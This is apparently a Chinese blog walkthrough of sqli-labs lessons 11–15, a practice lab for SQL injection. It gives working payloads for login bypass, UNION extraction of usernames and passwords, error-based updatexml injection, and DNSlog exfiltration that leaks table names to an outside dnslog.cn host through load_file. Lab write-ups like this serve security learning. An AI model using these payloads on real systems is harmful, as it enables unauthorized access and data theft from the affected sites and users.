SQL-labs练习记录(11~15)【仿真登录,报错注入,闭合探测,dnslog注入】

Less11

到这里,题目终于与我们现实中见到的登录比较相似了,但是要知道这仅仅是形式不同(只是sql语句要再次选择一个密码框),其原理与之前的学习关联非常大。
首先输入单引号或错误语句进行探测

有错误提示,说明这是错误注入,那么思路大体就是第一关的思路。
使用一个真语句进行探测。

1' or 1=1 -- 

登录成功。
在这里插入图片描述

这里有几个点要说明一下:
1.首先这里不再是get型,换成了post,这很容易理解,这也就表明后续我们写脚本要使用post方法了。
这里的hackbar也请通过post来传数据。(传递数据的参数分别是uname,passwd)
在这里插入图片描述

2.在登录框的注释不再是get请求会被url编码,所以使用“ – ”注意这个注释是前后都有空格,别出错了。
3.这里是在后面使用了and password=’$passwd’ 注释掉之后所以密码也不用输。(但这种情况很少)
4.一般对登录界面直接注入就表明是进入后台或者进入某些界面,此时就不用在意在登录界面外爆出数据。比如这里我们也可以像第一关一样利用报错报出数据,但是如果是真实环境就可以进去了。意义不大,所以后续不会以全流程写了。
复习一下爆表

-1' union select 1,database() -- 

-1' union select 1,group_concat(schema_name) from information_schema.schemata -- 

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' -- 

-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -- 

-1' union select 1,group_concat(concat(username,'~',password)) from security.users -- 

登录成功(即绕过登录)就算过关了。

Less12

单引号探测无效,使用双引号探测。

果然,闭合方式改了,用双引号加括号闭合即可(就这三种)其他的与第一题没有什么差别。

1") or 1=1 -- 

Less13

一样的也只是闭合方式需要我们去慢慢探测,值得一提的是如果你仍旧想在登录界面获得信息,你在这里就只能用报错注入了,对于正确的结果,只有一张图片。

1') or 1=1 -- 

报错注入payload:

1') or 1=1 and updatexml('anything',concat('~',(select database()),'~'),'123') -- 

更多爆数据方法请看报错注入那一节吧

Less14

仍然如此,只是闭合方式不同

1" or 1=1 -- 

在这里插入图片描述

Less15

这里的题目要求是布尔盲注,但是这里使用盲注脚本并不方便,因为登录成功与登录失败是两张不同的图片,我们并不能很好提取成功和失败的特征,难以给出正确与否的条件。

并且实际情况中也非常容易因为请求次数过多被封ip。

这里我们要使用dnslog注入,也叫dns带外查询。
这里使用的工具是网页端的http://www.dnslog.cn/
简单来说,就是在进行dns查询时带上特殊的尾缀,通过这种方法来对整个dns查询进行日志跟踪。

同时在payload中有一个函数

LOAD_FILE()函数

LOAD_FILE()函数读取一个文件并将其内容作为字符串返回

语法为:load_file(file_name),其中file_name是文件的完整路径

此函数使用需要满足的条件

文件必须位于服务器主机上
你必须具有该FILE权限才能读取该文件。拥有该FILE权限的用户可以读取服务器主机上的任何文件,该文件是world-readable的或MySQL服务器可读的,此属性与secure_file_priv状态相关
文件必须是所有人都可读的,并且它的大小小于max_allowed_packet字节
UNC路径

什么是UNC路径?

UNC路径就是类似\\softer这样的形式的网络路径。它符合 \\servername\sharename 格式,其中 servername 是服务器名,sharename 是共享资源的名称。

目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:\\servername\sharename\directory\filename。

例如把自己电脑的文件共享,你会获得如下路径,这就是UNC路径

//iZ53sl3r1890u7Z/Users/Administrator/Desktop/111.txt

所以按照以上知识,我们给出虚假的服务器名称(爆数据的payload)+特殊尾缀+不存在的文件
虽然无法真的得到文件,但是在dns查询服务器时,会进行解析,这样报数据的字段就被执行了,同时在工具网页上也留下了痕迹。

在这里插入图片描述

payload:

1' or 1=1 and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.lqr8a3.dnslog.cn/1.txt')))

特殊后缀 你需要用自己的哦(点击获取即可)

在这里插入图片描述
在这里插入图片描述

posted @ 2021-08-15 16:43  Sayo-NERV  阅读(82)  评论(0编辑  收藏  举报